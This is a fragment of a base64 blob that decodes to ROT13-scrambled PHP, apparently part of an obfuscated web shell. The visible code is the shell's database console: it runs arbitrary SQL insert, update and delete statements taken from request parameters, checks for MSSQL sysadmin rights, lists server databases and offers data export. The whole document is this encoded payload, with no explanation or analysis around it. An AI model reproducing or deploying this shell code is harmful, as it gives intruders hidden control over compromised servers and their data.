sJ10gPT0gJ0hBVicgfHwgJGVianFvWyRhbnpyXVsnWHJsJ10gPT0gJ0NFVicpID8gJzxvPiAtIENFVlpORUw8L28+JyA6ICcnKS4oJGVianFvWyRhbnpyXVsnUmtnZW4nXSA9PSAnbmhnYl92YXBlcnpyYWcnID8gJzxvPiAtIE5oZ2I8L28+JyA6ICcnKS4iPC9mY25hPjwvZ3E+Iik7fWMoJzwvZ2U+Jyk7anV2eXIoJHphID0gQHpsZmR5X3NyZ3B1X25mZmJwKCRlcmZoeWcpKXskZ3V2Zm90ID0gb3QoKTtjKCc8Z2UgcHluZmY9IicuJGd1dmZvdC4nIiBiYXpiaGZyYmlyZT0iZ3V2Zi5weW5mZkFuenI9XCdzYnBoZlwnOyIgYmF6YmhmcmJoZz0iZ3V2Zi5weW5mZkFuenI9XCcnLiRndXZmb3QuJ1wnOyI+Jyk7JGp1cmVyID0gJGd6YyA9ICRvMSA9ICcnO3NiZXJucHUoJHphIG5mICR4cmw9PiR2YWZ2cXIpe3ZzICgkdmFmdnFyKSB7dnMgKCRlYmpxb1skeHJsXVsnWHJsJ10gPT0gJ0hBVicgfHwgJGVianFvWyR4cmxdWydSa2dlbiddID09ICduaGdiX3ZhcGVyenJhZycgfHwgJGVianFvWyR4cmxdWydYcmwnXSA9PSAnQ0VWJykgeyRqdXJlciA9ICR4cmwuIj0nIi5ucXFmeW5mdXJmKCR2YWZ2cXIpLiInIjtvZXJueDt9JGp1cmVyIC49ICRnemMuJHhybC4iPSciLm5xcWZ5bmZ1cmYoJHZhZnZxcikuIiciOyRnemMgPSAnIE5BUSAnO319c2Jlcm5wdSgkemEgbmYgJHhybD0+JHZhZnZxcil7JG8xIC49ICc8Z3EgYWJqZW5jPicudWd6eV9weXJuYSgkdmFmdnFyKS4nJmFvZmM7PC9ncT4nO30kanVyZXIgPSBvbmZyNjRfcmFwYnFyKCRqdXJlcik7dnMgKCRueXlianJxdmcpIGMoJzxncSBhYmplbmM+PG4gdWVycz0id25pbmZwZXZjZzpycXZnZXJwYmVxKFwncnF2Z1wnLCBcJycuJGp1cmVyLidcJywgXCcnLiRnbm95cmFuenIuJ1wnKTsiPlJxdmduZTwvbj4gfCA8biB1ZXJzPSJ3bmluZnBldmNnOnJxdmdlcnBiZXEoXCdxcnlcJywgXCcnLiRqdXJlci4nXCcsIFwnJy4kZ25veXJhbnpyLidcJyk7Ij5PYmVlbmU8L24+PC9ncT4nKTtjKCRvMSk7YygnPC9nZT4nKTtoYWZyZygkbzEpO31nb3NiYmcoKTtjKCR6aHlndmNudHIpO29lcm54O3BuZnIgMjoNCiRuZSA9IHpsZmR5X25zc3JwZ3JxX2ViamYoKTtjKCc8dTI+UGJ5aHphbmYgbnNycGducW5mIDogPG8+Jy4kbmUuJzwvbz48L3UyPicpO29lcm54O319fX19IHJ5ZnIgeyRkaHJlbCA9IGQoIkZVQkogR05PWVIgRkdOR0hGIik7JGdub3lyX2FoeiA9ICRnbm95cl9lYmpmID0gJHFuZ25fZnZtciA9IDA7JGdub3lycW8gPSBuZWVubCgpO2p1dnlyKCRnbm95ciA9IHpsZmR5X3NyZ3B1X25lZW5sKCRkaHJlbCkpIHskcW5nbl9mdm1yID0gJHFuZ25fZnZtciArICRnbm95clsnUW5nbl95cmF0Z3UnXTskZ25veXJfZWJqZiA9ICRnbm95cl9lYmpmICsgJGdub3lyWydFYmpmJ107JGdub3lyWydRbmduX3lyYXRndSddID0gZnZtcnBiaGFnKCRnbm95clsnUW5nbl95cmF0Z3UnXSk7JGdub3lyX2FoeisrOyRnbm95cnFvW10gPSAkZ25veXI7fSRxbmduX2Z2bXIgPSBmdm1ycGJoYWcoJHFuZ25fZnZtcik7aGFmcmcoJGdub3lyKTtjKCc8Z25veXIgb2JlcXJlPSIwIiBwcnl5Y25xcXZhdD0iMCIgcHJ5eWZjbnB2YXQ9IjAiPicpO2MoJzxzYmV6IG5wZ3ZiYT0iJy4kZnJ5cy4nIiB6cmd1YnE9IkNCRkciPicpO3pueHJ1dnFyKCducGd2YmEnLCd6bGZkeW5xenZhJyk7YygkcW9zYmV6KTtjKCc8Z2UgcHluZmY9InVybnEiPicpO2MoJzxncSBqdnFndT0iMiUiIG55dnRhPSJwcmFncmUiPjx2YWNoZyBhbnpyPSJwdXhueXkiIGlueWhyPSJiYSIgZ2xjcj0icHVycHhvYmsiIGJhcHl2cHg9IlB1cnB4Tnl5KGd1dmYuc2JleikiIC8+PC9ncT4nKTtjKCc8Z3E+QWJ6b2VyPC9ncT4nKTtjKCc8Z3E+RWJqZjwvZ3E+Jyk7YygnPGdxPlFuZ25feXJhdGd1PC9ncT4nKTtjKCc8Z3E+UGVybmdyX2d2enI8L2dxPicpO2MoJzxncT5IY3FuZ3JfZ3Z6cjwvZ3E+Jyk7dnMgKCR1dnR1aXJlKSB7YygnPGdxPlJhdHZhcjwvZ3E+Jyk7YygnPGdxPlBieXluZ3ZiYTwvZ3E+Jyk7fWMoJzxncT5CY3JlbmdyPC9ncT4nKTtjKCc8L2dlPicpO3NiZXJucHUgKCRnbm95cnFvIG5mICR4cmwgPT4gJGdub3lyKSB7JGd1dmZvdCA9IG90KCk7YygnPGdlIHB5bmZmPSInLiRndXZmb3QuJyIgYmF6YmhmcmJpcmU9Imd1dmYucHluZmZBbnpyPVwnc2JwaGZcJzsiIGJhemJoZnJiaGc9Imd1dmYucHluZmZBbnpyPVwnJy4kZ3V2Zm90LidcJzsiPicpO2MoJzxncSBueXZ0YT0icHJhZ3JlIiBqdnFndT0iMiUiPjx2YWNoZyBnbGNyPSJwdXJweG9iayIgYW56cj0iZ25veXJbXSIgaW55aHI9IicuJGdub3lyWydBbnpyJ10uJyIgLz48L2dxPicpO2MoJzxncT48biB1ZXJzPSJ3bmluZnBldmNnOmZyZ2dub3lyKFwnJy4kZ25veXJbJ0FuenInXS4nXCcpOyI+Jy4kZ25veXJbJ0FuenInXS4nPC9uPjwvZ3E+Jyk7YygnPGdxPicuJGdub3lyWydFYmpmJ10uJzwvZ3E+Jyk7YygnPGdxPicuJGdub3lyWydRbmduX3lyYXRndSddLic8L2dxPicpO2MoJzxncT4nLiRnbm95clsnUGVybmdyX2d2enInXS4nJmFvZmM7PC9ncT4nKTtjKCc8Z3E+Jy4kZ25veXJbJ0hjcW5ncl9ndnpyJ10uJyZhb2ZjOzwvZ3E+Jyk7dnMgKCR1dnR1aXJlKSB7YygnPGdxPicuJGdub3lyWydSYXR2YXInXS4nPC9ncT4nKTtjKCc8Z3E+Jy4kZ25veXJbJ1BieXluZ3ZiYSddLic8L2dxPicpO31jKCc8Z3E+PG4gdWVycz0id25pbmZwZXZjZzpmcmdnbm95cihcJycuJGdub3lyWydBbnpyJ10uJ1wnLCBcJ3ZhZnJlZ1wnKTsiPlZhZnJlZ25lPC9uPiB8IDxuIHVlcnM9InduaW5mcGV2Y2c6ZnJnZ25veXIoXCcnLiRnbm95clsnQW56ciddLidcJywgXCdmZ2VocGdoZXJcJyk7Ij5SZmdlaHBnaGVuPC9uPiB8IDxuIHVlcnM9InduaW5mcGV2Y2c6ZnJnZ25veXIoXCcnLiRnbm95clsnQW56ciddLidcJywgXCdxZWJjXCcpOyI+UWViYzwvbj48L2dxPicpO2MoJzwvZ2U+Jyk7fWMoJzxnZSBweW5mZj0nLm90KCkuJz4nKTtjKCc8Z3E+JmFvZmM7PC9ncT4nKTtjKCc8Z3E+R2JnbnkgZ25veW5mOiAnLiRnbm95cl9haHouJzwvZ3E+Jyk7YygnPGdxPicuJGdub3lyX2ViamYuJzwvZ3E+Jyk7YygnPGdxPicuJHFuZ25fZnZtci4nPC9ncT4nKTtjKCc8Z3EgcGJ5ZmNuYT0iJy4oJHV2dHVpcmUgPyA1IDogMykuJyI+JmFvZmM7PC9ncT4nKTtjKCc8L2dlPicpO2MoIjxnZSBweW5mZj1cIiIub3QoKS4iXCI+PGdxIHBieWZjbmE9XCIiLigkdXZ0dWlyZSA/IDkgOiA3KS4iXCI+PHZhY2hnIGFuenI9XCJmbmlybmZzdnlyXCIgaW55aHI9XCIxXCIgZ2xjcj1cInB1cnB4b2JrXCIgLz4gVGhuZXFuZSBwYnpiIDx2YWNoZyBweW5mZj1cInZhY2hnXCIgYW56cj1cImNuZ3VcIiBpbnlocj1cIiIuRk5fRUJCRy4kX0ZSRUlSRVsnVUdHQ19VQkZHJ10uIl9abEZEWS5mZHlcIiBnbGNyPVwiZ3JrZ1wiIGZ2bXI9XCI2MFwiIC8+IDx2YWNoZyBweW5mZj1cIm9nXCIgZ2xjcj1cImZob3p2Z1wiIGFuenI9XCJxYmphZW5lXCIgaW55aHI9XCJSa2NiZWduZSBmcnlycHB2YmFucW5mXCIgLz48L2dxPjwvZ2U+Iik7em54cnV2cXIoJ3FidmF0Jywnb25weGhjemxmZHknKTtzYmV6c2JiZygpO2MoIjwvZ25veXI+Iik7c2UoJGRocmVsKTt9fX1nb3NiYmcoKTtAemxmZHlfcHliZnIoKTsNCn1yeWZydnMgKCRucGd2YmEgPT0gJ3pmZmR5bnF6dmEnKSB7ISRxb3ViZmcgJiYgJHFvdWJmZyA9ICd5YnBueXViZmcnOyEkcW9oZnJlICYmICRxb2hmcmUgPSAnZm4nOyEkcW9hbnpyICYmICRxb2FuenIgPSAnem5mZ3JlJzskcW9zYmV6ID0gJzx2YWNoZyBnbGNyPSJ1dnFxcmEiIHZxPSJwYmFhcnBnIiBhbnpyPSJwYmFhcnBnIiBpbnlocj0iMSIgLz4nO3ZzKHZmZnJnKCRxb3ViZmcpKXskcW9zYmV6IC49ICI8dmFjaGcgZ2xjcj1cInV2cXFyYVwiIHZxPVwicW91YmZnXCIgYW56cj1cInFvdWJmZ1wiIGlueWhyPVwiJHFvdWJmZ1wiIC8+XGEiO312cyh2ZmZyZygkcW9oZnJlKSkgeyRxb3NiZXogLj0gIjx2YWNoZyBnbGNyPVwidXZxcXJhXCIgdnE9XCJxb2hmcmVcIiBhbnpyPVwicW9oZnJlXCIgaW55aHI9XCIkcW9oZnJlXCIgLz5cYSI7fXZzKHZmZnJnKCRxb2NuZmYpKSB7JHFvc2JleiAuPSAiPHZhY2hnIGdsY3I9XCJ1dnFxcmFcIiB2cT1cInFvY25mZlwiIGFuenI9XCJxb2NuZmZcIiBpbnlocj1cIiRxb2NuZmZcIiAvPlxhIjt9dnModmZmcmcoJHFvYW56cikpIHskcW9zYmV6IC49ICI8dmFjaGcgZ2xjcj1cInV2cXFyYVwiIHZxPVwicW9hbnpyXCIgYW56cj1cInFvYW56clwiIGlueWhyPVwiJHFvYW56clwiIC8+XGEiO312cyAoJHZhZnJlZyAmJiAkdmFmcmVnZmR5KSB7JHhybGZnZSA9ICRpbnlmZ2UgPSAkZ3pjID0gJyc7c2Jlcm5wdSgkdmFmcmVnZmR5IG5mICR4cmwgPT4gJGlueSkge3ZzICgkaW55KSB7JHhybGZnZSAuPSAkZ3pjLiR4cmw7JGlueWZnZSAuPSAkZ3pjLiInIi5ucXFmeW5mdXJmKCRpbnkpLiInIjskZ3pjID0gJywnO319dnMgKCR4cmxmZ2UgJiYgJGlueWZnZSkge3pmcW9wYmFhKCRxb3ViZmcsJHFvaGZyZSwkcW9jbmZmLCRxb2FuenIpO3ooemZkKCJWQUZSRUcgVkFHQiAkZ25veXJhbnpyICgkeHJsZmdlKSBJTllIUkYgKCRpbnlmZ2UpIikgPyAnVmF0ZXJmciBhaHJpYiBlcnR2ZmdlYicgOiB6ZnpmdCgpKTt9fXZzICgkaGNxbmdyICYmICR2YWZyZWdmZHkgJiYgJG9uZnI2NCkgeyRpbnlmZ2UgPSAkZ3pjID0gJyc7c2Jlcm5wdSgkdmFmcmVnZmR5IG5mICR4cmwgPT4gJGlueSkgeyRpbnlmZ2UgLj0gJGd6Yy4keHJsLiI9JyIubnFxZnluZnVyZigkaW55KS4iJyI7JGd6YyA9ICcsJzt9dnMgKCRpbnlmZ2UpIHskanVyZXIgPSBvbmZyNjRfcXJwYnFyKCRvbmZyNjQpO3pmcW9wYmFhKCRxb3ViZmcsJHFvaGZyZSwkcW9jbmZmLCRxb2FuenIpO3ooemZkKCJIQ1FOR1IgJGdub3lyYW56ciBGUkcgJGlueWZnZSBKVVJFUiAkanVyZXIiKSA/ICdOcGdobnl2bW5hcWIgZXJ0dmZnZWInIDogemZ6ZnQoKSk7fX12cyAoJHFidmF0ID09ICdxcnknICYmICRvbmZyNjQpIHskanVyZXIgPSBvbmZyNjRfcXJwYnFyKCRvbmZyNjQpOyRxcnlyZ3JfZmR5ID0gIlFSWVJHUiBTRUJaICRnbm95cmFuenIgSlVSRVIgJGp1cmVyIjt6ZnFvcGJhYSgkcW91YmZnLCRxb2hmcmUsJHFvY25mZiwkcW9hbnpyKTt6KHpmZCgiUVJZUkdSIFNFQlogJGdub3lyYW56ciBKVVJFUiAkanVyZXIiKSA/ICdPYmVlbmFxYiBlcnR2ZmdlYicgOiB6ZnpmdCgpKTt9dnMgKCRnbm95cmFuenIgJiYgJHFidmF0ID09ICdxZWJjJykge3pmcW9wYmFhKCRxb3ViZmcsJHFvaGZyZSwkcW9jbmZmLCRxb2FuenIpO3ZzICh6ZmQoIlFFQkMgR05PWVIgJGdub3lyYW56ciIpKSB7eignUWViYyBnbm95ciBicyBmaHBwcmZmJyk7JGdub3lyYW56ciA9ICcnO30gcnlmciB7eih6ZnpmdCgpKTt9fXNiZXp1cm5xKG5lZW5sKCdndmd5cic9PidaRkZEWScpKTt6bnhydXZxcignbnBndmJhJywnemZmZHlucXp2YScpO2MoJzxjPicpO2MoJ1FPVWJmZzonKTt6bnhydmFjaGcobmVlbmwoJ2FuenInPT4ncW91YmZnJywnZnZtcic9PjIwLCdpbnlocic9PiRxb3ViZmcpKTtjKCdRT0hmcmU6Jyk7em54cnZhY2hnKG5lZW5sKCdhbnpyJz0+J3FvaGZyZScsJ2Z2bXInPT4xNSwnaW55aHInPT4kcW9oZnJlKSk7YygnUU9DbmZmOicpO3pueHJ2YWNoZyhuZWVubCgnYW56cic9Pidxb2NuZmYnLCdmdm1yJz0+MTUsJ2lueWhyJz0+JHFvY25mZikpO3pueHJ2YWNoZyhuZWVubCgnYW56cic9PidwYmFhcnBnJywnaW55aHInPT4nUGJhcnBnbmUnLCdnbGNyJz0+J2Zob3p2ZycsJ3B5bmZmJz0+J29nJykpO2MoJzwvYz4nKTtzYmV6c2JiZygpOw0KPz4NCjxmcGV2Y2cgZ2xjcj0iZ3JrZy93bmluZnBldmNnIj4NCnNoYXBndmJhIHJxdmdlcnBiZXEobnBndmJhLCBvbmZyNjQsIGdub3lyYW56cil7dnMgKG5wZ3ZiYSA9PSAncXJ5Jykge3ZzICghcGJhc3ZleignVmYgYmUgdmZhXCdnIHFyeXJndmJhIGVycGJlcT8nKSkgZXJnaGVhO30kKCdlcnBiZXF5dmZnJykucWJ2YXQuaW55aHI9bnBndmJhOyQoJ2VycGJlcXl2ZmcnKS5vbmZyNjQuaW55aHI9b25mcjY0OyQoJ2VycGJlcXl2ZmcnKS5nbm95cmFuenIuaW55aHI9Z25veXJhbnpyOyQoJ2VycGJlcXl2ZmcnKS5maG96dmcoKTsNCn1zaGFwZ3ZiYSB6YnFxb2FuenIocW9hbnpyKSB7dnMoIXFvYW56cikgZXJnaGVhOyQoJ2ZyZ3FvYW56cicpLnFvYW56ci5pbnlocj1xb2FuenI7JCgnZnJncW9hbnpyJykuZmhvenZnKCk7DQp9c2hhcGd2YmEgZnJnZ25veXIoZ25veXJhbnpyLHFidmF0LGNudHIpIHt2cyghZ25veXJhbnpyKSBlcmdoZWE7dnMgKHFidmF0KSB7JCgnZnJnZ25veXInKS5xYnZhdC5pbnlocj1xYnZhdDt9dnMgKGNudHIpIHskKCdmcmdnbm95cicpLmNudHIuaW55aHI9Y250cjt9JCgnZnJnZ25veXInKS5nbm95cmFuenIuaW55aHI9Z25veXJhbnpyOyQoJ2ZyZ2dub3lyJykuZmhvenZnKCk7DQp9c2hhcGd2YmEgemZmZHl2YXNiKHFvYW56cikge3ZzKCFxb2FuenIpIGVyZ2hlYTskKCd6ZmZkeXZhc2InKS5xb2FuenIuaW55aHI9cW9hbnpyOyQoJ3pmZmR5dmFzYicpLmZob3p2ZygpOw0KfTwvZnBldmNnPg0KPD9jdWMNCnNiZXp1cm5xKG5lZW5sKCdhbnpyJz0+J2VycGJlcXl2ZmcnKSk7em54cnV2cXIoJ3FidmF0Jyk7em54cnV2cXIoJ25wZ3ZiYScsJ3pmZmR5bnF6dmEnKTt6bnhydXZxcignb25mcjY0Jyk7em54cnV2cXIoJ2dub3lyYW56cicpO2MoJHFvc2Jleik7c2JlenNiYmcoKTtzYmV6dXJucShuZWVubCgnYW56cic9Pid6ZmZkeXZhc2InKSk7em54cnV2cXIoJ25wZ3ZiYScsJ3pmZmR5bnF6dmEnKTt6bnhydXZxcigncWJ2YXQnLCd6ZmZkeXZhc2InKTt6bnhydXZxcigncW9hbnpyJyk7YygkcW9zYmV6KTtzYmV6c2JiZygpO3NiZXp1cm5xKG5lZW5sKCdhbnpyJz0+J2ZyZ3FvYW56cicpKTt6bnhydXZxcignbnBndmJhJywnemZmZHlucXp2YScpO2MoJHFvc2Jleik7dnMgKCEkcW9hbnpyKSB7em54cnV2cXIoJ3FvYW56cicpO31zYmV6c2JiZygpO3NiZXp1cm5xKG5lZW5sKCdhbnpyJz0+J2ZyZ2dub3lyJykpO3pueHJ1dnFyKCducGd2YmEnLCd6ZmZkeW5xenZhJyk7YygkcW9zYmV6KTt6bnhydXZxcignZ25veXJhbnpyJyk7em54cnV2cXIoJ2NudHInLCRjbnRyKTt6bnhydXZxcigncWJ2YXQnKTtzYmV6c2JiZygpOyRwbnB1cmdub3lyZiA9IG5lZW5sKCk7CQ0KJGNudHJhaHogPSAzMDskY250ciA9IHZhZ2lueSgkY250cik7dnMoJGNudHIpIHskZmduZWdfeXZ6dmcgPSAoJGNudHIgLSAxKSAqICRjbnRyYWh6O30gcnlmciB7JGZnbmVnX3l2enZnID0gMDskY250ciA9IDE7fXZzICh2ZmZyZygkcW91YmZnKSAmJiB2ZmZyZygkcW9oZnJlKSAmJiB2ZmZyZygkcW9jbmZmKSAmJiB2ZmZyZygkcGJhYXJwZykpIHshJHFvYW56ciAmJiAkcW9hbnpyID0gJ3puZmdyZSc7emZxb3BiYWEoJHFvdWJmZywgJHFvaGZyZSwgJHFvY25mZiwgJHFvYW56cik7JGRocmVsID0gemZkKCdmcnlycGcgQEBpcmVmdmJhJyk7JHpmdmFzYiA9IHpmZmR5X3NyZ3B1X25lZW5sKCRkaHJlbCk7cnB1YiAnPGM+Jy4kemZ2YXNiWzBdLic8L2M+JzskZGhyZWwgPSB6ZmQoIkZSWVJQRyBWRl9GRUlFQllSWlJaT1JFKCdmbGZucXp2YScpIik7JHpmdmFzYiA9IHpmZmR5X3NyZ3B1X25lZW5sKCRkaHJlbCk7JHZmZm4gPSAwO3ZzICgkemZ2YXNiWzBdKSB7JHZmZm4gPSAxO3JwdWIgJzx1Mz5SZXJmIGZsZm5xenZhITwvdTM+Jzt9JGRocmVsID0gemZkKCJGUllSUEcgYW56ciBTRUJaIHpuZmdyZS5xb2IuZmxmcW5nbm9uZnJmIEpVUkVSIHVuZl9xb25wcHJmZihhbnpyKSA9IDEgQkVRUkUgT0wgYW56ciIpOyRxb2YgPSBuZWVubCgpOyRxb2ZbXSA9ICctLSBGcnlycHB2YmFyIGhhbiBRTyAtLSc7anV2eXIoJHFvID0gemZmZHlfc3JncHVfbmVlbmwoJGRocmVsKSkgeyRxb2ZbJHFvWydhbnpyJ11dID0gJHFvWydhbnpyJ107fXpueHJmcnlycGcobmVlbmwoJ2d2Z3lyJz0+J0ZyeXJwcHZiYXIgeW4gUU86JywnYW56cic9Pidxb1tdJywnYmNndmJhJz0+JHFvZiwnZnJ5cnBncnEnPT4kcW9hbnpyLCdiYXB1bmF0cic9Pid6YnFxb2FuenIoZ3V2Zi5iY2d2YmFmW2d1dmYuZnJ5cnBncnFWYXFya10uaW55aHIpJywnYXJqeXZhcic9PjEpKTskZ25veXJxbyA9IG5lZW5sKCk7dnMgKCRxb2FuenIpIHtjKCc8Yz4nKTtjKCdRbmdub25mcjogPG4gdWVycz0id25pbmZwZXZjZzp6YnFxb2FuenIoXCcnLiRxb2FuenIuJ1wnKTsiPicuJHFvYW56ci4nPC9uPiBbIDxuIHVlcnM9InduaW5mcGV2Y2c6emZmZHl2YXNiKFwnJy4kcW9hbnpyLidcJyk7Ij52YXNiZXpuZ3ZiYTwvbj4gXScpO3ZzICgkZ25veXJhbnpyKSB7YygnIHwgR25veW4gbnBnaG55OiA8biB1ZXJzPSJ3bmluZnBldmNnOmZyZ2dub3lyKFwnJy4kZ25veXJhbnpyLidcJyk7Ij4nLiRnbm95cmFuenIuJzwvbj4gWyA8biB1ZXJzPSJ3bmluZnBldmNnOmZyZ2dub3lyKFwnJy4kZ25veXJhbnpyLidcJywgXCd2YWZyZWdcJyk7Ij5WYWZyZWc8L24+IHwgPG4gdWVycz0id25pbmZwZXZjZzpmcmdnbm95cihcJycuJGdub3lyYW56ci4nXCcsIFwnZmdlaHBnaGVyXCcpOyI+RmdlaHBnaGVyPC9uPiB8IDxuIHVlcnM9InduaW5mcGV2Y2c6ZnJnZ25veXIoXCcnLiRnbm95cmFuenIuJ1wnLCBcJ3FlYmNcJyk7Ij5RZWJjPC9uPiBdJyk7fWMoJzwvYz4nKTt2cyAoIUB6ZmZkeV9mcnlycGdfcW8oJHFvYW56cikpIHtjKCc8dTI+Jy56ZnpmdCgpLic8L3UyPicpO3Jrdmc7fXZzICgkcWJ2YXQgPT0gJ3pmZmR5dmFzYicpIHskZXJmaHlnID0gemZkKCJGUllSUEcgZzEuYmphcmUsIGcxLnBlcW5nciwgZzEuZnZtciwgZzIuUU9PaGNRbmdyLCBnMy5RdnNPaGNRbmdyLCBnNC5XYmhlYW55T2hjUW5nciBTRUJaIChGUllSUEcgcS5hbnpyLCBmaGZyZV9mYW56cihxLmZ2cSkgTkYgYmphcmUsIHEucGVxbmdyLCAoRlJZUlBHIEZHRShGSFooUEJBSVJFRyhRUlAoMTUpLCBzLmZ2bXIpKSAqIChGUllSUEcgaS55YmogU0VCWiB6bmZncmUucW9iLmZjZ19pbnlocmYgaSBKVVJFUiBpLmdsY3IgPSAnUicgTkFRIGkuYWh6b3JlID0gMSkgLyAxMDQ4NTc2LCAxMCwgMikgKyAnWk8nIFNFQlogWyRxb2FuenJdLnFvYi5mbGZzdnlyZiBzKSBORiBmdm1yIFNFQlogem5mZ3JlLnFvYi5mbGZxbmdub25mcmYgcSBKVVJFUiBxLmFuenIgPSAnJHFvYW56cicpIE5GIGcxIFlSU0cgV0JWQSAoRlJZUlBHICckcW9hbnpyJyBORiBhbnpyLCBaTksob25weGhjX3N2YXZmdV9xbmdyKSBORiBRT09oY1FuZ3IgU0VCWiB6ZnFvLnFvYi5vbnB4aGNmcmcgSlVSRVIgZ2xjciA9ICdRJyBOQVEgcW5nbm9uZnJfYW56ciA9ICckcW9hbnpyJykgTkYgZzIgQkEgZzEuYW56ciA9IGcyLmFuenIgWVJTRyBXQlZBIChGUllSUEcgJyRxb2FuenInIE5GIGFuenIsIFpOSyhvbnB4aGNfc3ZhdmZ1X3FuZ3IpIE5GIFF2c09oY1FuZ3IgU0VCWiB6ZnFvLnFvYi5vbnB4aGNmcmcgSlVSRVIgZ2xjciA9ICdWJyBOQVEgcW5nbm9uZnJfYW56ciA9ICckcW9hbnpyJykgTkYgZzMgQkEgZzEuYW56ciA9IGczLmFuenIgWVJTRyBXQlZBIChGUllSUEcgJyRxb2FuenInIE5GIGFuenIsIFpOSyhvbnB4aGNfc3ZhdmZ1X3FuZ3IpIE5GIFdiaGVhbnlPaGNRbmdyIFNFQlogemZxby5xb2Iub25weGhjZnJnIEpVUkVSIGdsY3IgPSAnWScgTkFRIHFuZ25vbmZyX2FuenIgPSAnJHFvYW56cicpIE5GIGc0IEJBIGcxLmFuenIgPSBnNC5hbnpyIik7JHZhc2IgPSB6ZmZkeV9zcmdwdV9uZmZicCgkZXJmaHlnKTtjKCc8Z25veXIgb2JlcXJlPSIwIiBwcnl5Y25xcXZhdD0iMyIgcHJ5eWZjbnB2YXQ9IjAiPicpO2MoJzxnZSBweW5mZj0idXJucSI+Jyk7YygnPGdxIHBieWZjbmE9IjIiPicuJHFvYW56ci4nIFZhc2Jlem5ndmJhPC9ncT4nKTtjKCc8L2dlPicpO2MoJzxnZSBweW5mZj0ibnlnMSIgYmF6YmhmcmJpcmU9Imd1dmYucHluZmZBbnpyPVwnc2JwaGZcJzsiIGJhemJoZnJiaGc9Imd1dmYucHluZmZBbnpyPVwnbnlnMVwnOyI+Jyk7YygnPGdxPkJqYXJlPC9ncT48Z3E+Jy4kdmFzYlsnYmphcmUnXS4nPC9ncT4nKTtjKCc8L2dlPicpO2MoJzxnZSBweW5mZj0ibnlnMiIgYmF6YmhmcmJpcmU9Imd1dmYucHluZmZBbnpyPVwnc2JwaGZcJzsiIGJhemJoZnJiaGc9Imd1dmYucHluZmZBbnpyPVwnbnlnMlwnOyI+Jyk7YygnPGdxPlBlcm5nciBxbmdyPC9ncT48Z3E+Jy4kdmFzYlsncGVxbmdyJ10uJzwvZ3E+Jyk7YygnPC9nZT4nKTtjKCc8Z2UgcHluZmY9Im55ZzEiIGJhemJoZnJiaXJlPSJndXZmLnB5bmZmQW56cj1cJ3NicGhmXCc7IiBiYXpiaGZyYmhnPSJndXZmLnB5bmZmQW56cj1cJ255ZzFcJzsiPicpO2MoJzxncT5Gdm1yPC9ncT48Z3E+Jy4kdmFzYlsnZnZtciddLic8L2dxPicpO2MoJzwvZ2U+Jyk7YygnPGdlIHB5bmZmPSJueWcyIiBiYXpiaGZyYmlyZT0iZ3V2Zi5weW5mZkFuenI9XCdzYnBoZlwnOyIgYmF6YmhmcmJoZz0iZ3V2Zi5weW5mZkFuenI9XCdueWcyXCc7Ij4nKTtjKCc8Z3E+WW5mZyBvbnB4aGM8L2dxPjxncT4nLiR2YXNiWydRT09oY1FuZ3InXS4nJmFvZmM7PC9ncT4nKTtjKCc8L2dlPicpO2MoJzxnZSBweW5mZj0ibnlnMSIgYmF6YmhmcmJpcmU9Imd1dmYucHluZmZBbnpyPVwnc2JwaGZcJzsiIGJhemJoZnJiaGc9Imd1dmYucHluZmZBbnpyPVwnbnlnMVwnOyI+Jyk7YygnPGdxPlluZmcgcXZzc3JlcmFndm55IG9ucHhoYzwvZ3E+PGdxPicuJHZhc2JbJ1F2c09oY1FuZ3InXS4nJmFvZmM7PC9ncT4nKTtjKCc8L2dlPicpO2MoJzxnZSBweW5mZj0ibnlnMiIgYmF6YmhmcmJpcmU9Imd1dmYucHluZmZBbnpyPVwnc2JwaGZcJzsiIGJhemJoZnJiaGc9Imd1dmYucHluZmZBbnpyPVwnbnlnMlwnOyI+Jyk7YygnPGdxPlluZmcgeWJ0IG9ucHhoYzwvZ3E+PGdxPicuJHZhc2JbJ1diaGVhbnlPaGNRbmdyJ10uJyZhb2ZjOzwvZ3E+Jyk7YygnPC9nZT4nKTtnb3NiYmcoKTtjKCc8b2UgLz48b2UgLz4nKTskZXJmaHlnID0gemZkKCJSS1JQIGZjX3VyeWNzdnlyIik7JGVianFvID0gbmVlbmwoKTtqdXZ5ciAoJGViaiA9IHpmZmR5X3NyZ3B1X25mZmJwKCRlcmZoeWcpKSB7JGVianFvW10gPSAkZWJqO31zYmVybnB1KCRlYmpxbyBuZiAkZWJqKXtjKCc8Z25veXIgb2JlcXJlPSIwIiBwcnl5Y25xcXZhdD0iMyIgcHJ5eWZjbnB2YXQ9IjAiPicpO2MoJzxnZSBweW5mZj0idXJucSI+Jyk7YygnPGdxIHBieWZjbmE9IjIiPicuJGVialsnYW56ciddLic8L2dxPicpO2MoJzwvZ2U+Jyk7YygnPGdlIHB5bmZmPSJueWcxIiBiYXpiaGZyYmlyZT0iZ3V2Zi5weW5mZkFuenI9XCdzYnBoZlwnOyIgYmF6YmhmcmJoZz0iZ3V2Zi5weW5mZkFuenI9XCdueWcxXCc7Ij4nKTtjKCc8Z3E+U3Z5cmFuenI8L2dxPjxncT4nLiRlYmpbJ3N2eXJhbnpyJ10uJyZhb2ZjOzwvZ3E+Jyk7YygnPC9nZT4nKTtjKCc8Z2UgcHluZmY9Im55ZzIiIGJhemJoZnJiaXJlPSJndXZmLnB5bmZmQW56cj1cJ3NicGhmXCc7IiBiYXpiaGZyYmhnPSJndXZmLnB5bmZmQW56cj1cJ255ZzJcJzsiPicpO2MoJzxncT5TdnlydGViaGM8L2dxPjxncT4nLiRlYmpbJ3N2eXJ0ZWJoYyddLicmYW9mYzs8L2dxPicpO2MoJzwvZ2U+Jyk7YygnPGdlIHB5bmZmPSJueWcxIiBiYXpiaGZyYmlyZT0iZ3V2Zi5weW5mZkFuenI9XCdzYnBoZlwnOyIgYmF6YmhmcmJoZz0iZ3V2Zi5weW5mZkFuenI9XCdueWcxXCc7Ij4nKTtjKCc8Z3E+RnZtcjwvZ3E+PGdxPicuJGVialsnZnZtciddLicmYW9mYzs8L2dxPicpO2MoJzwvZ2U+Jyk7YygnPGdlIHB5bmZmPSJueWcyIiBiYXpiaGZyYmlyZT0iZ3V2Zi5weW5mZkFuenI9XCdzYnBoZlwnOyIgYmF6YmhmcmJoZz0iZ3V2Zi5weW5mZkFuenI9XCdueWcyXCc7Ij4nKTtjKCc8Z3E+Wm5rZnZtcjwvZ3E+PGdxPicuJGVialsnem5rZnZtciddLicmYW9mYzs8L2dxPicpO2MoJzwvZ2U+Jyk7YygnPGdlIHB5bmZmPSJueWcxIiBiYXpiaGZyYmlyZT0iZ3V2Zi5weW5mZkFuenI9XCdzYnBoZlw